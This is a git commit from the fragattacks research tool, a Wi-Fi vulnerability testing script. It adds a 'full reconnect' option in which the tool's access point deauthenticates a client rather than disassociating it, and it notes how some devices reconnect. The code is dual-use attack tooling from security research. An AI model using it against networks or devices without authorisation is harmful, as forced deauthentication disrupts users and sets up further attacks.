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fragattacks: option to deauth for full reconnect

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Mathy 2020-04-25 09:25:58 -04:00 committed by Mathy Vanhoef
parent c2324f6482
commit 6774289188
1 changed files with 9 additions and 4 deletions
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13
research/fragattack.py
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@ -604,6 +604,7 @@ class Station():
return self.bss
return self.peermac
# TODO: Show a warning when unusual transitions are detected?
def trigger_eapol_events(self, eapol):
# Ignore EAP authentication handshakes
if EAP in eapol: return None
@ -739,7 +740,7 @@ class Station():
self.peerip = peerip
self.obtained_ip = True
log(STATUS, "Waiting on IP before forming next actions: " + str(self.waiting_on_ip))
log(DEBUG, "Waiting on IP before forming next actions: " + str(self.waiting_on_ip))
if self.waiting_on_ip:
self.waiting_on_ip = False
self.perform_actions(Action.Connected)
@ -910,7 +911,13 @@ class Authenticator(Daemon):
def reconnect(self, station):
# Confirmed to *instantly* reconnect: Arch Linux, Windows 10 with Intel WiFi chip, iPad Pro 13.3.1
# Reconnects only after a few seconds: MacOS (same with other reasons and with deauthentication)
cmd = f"DISASSOCIATE {station.get_peermac()} reason={WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA}"
# Takes a few seconds, and then does a full new connection: Security Camera
if self.options.full_reconnect:
log(STATUS, "Deauthentication station to make it reconnect")
cmd = f"DEAUTHENTICATE {station.get_peermac()} reason={WLAN_REASON_CLASS2_FRAME_FROM_NONAUTH_STA}"
else:
log(STATUS, "Disassociating station to make it reconnect")
cmd = f"DISASSOCIATE {station.get_peermac()} reason={WLAN_REASON_CLASS3_FRAME_FROM_NONASSOC_STA}"
wpaspy_command(self.wpaspy_ctrl, cmd)
def handle_eth_dhcp(self, p, station):
@ -952,8 +959,6 @@ class Authenticator(Daemon):
station.set_ip_addresses(self.options.ip, self.options.peerip)
def handle_wpaspy(self, msg):
log(STATUS, "daemon: " + msg)
if "AP-STA-CONNECTING" in msg:
cmd, clientmac = msg.split()
self.add_station(clientmac)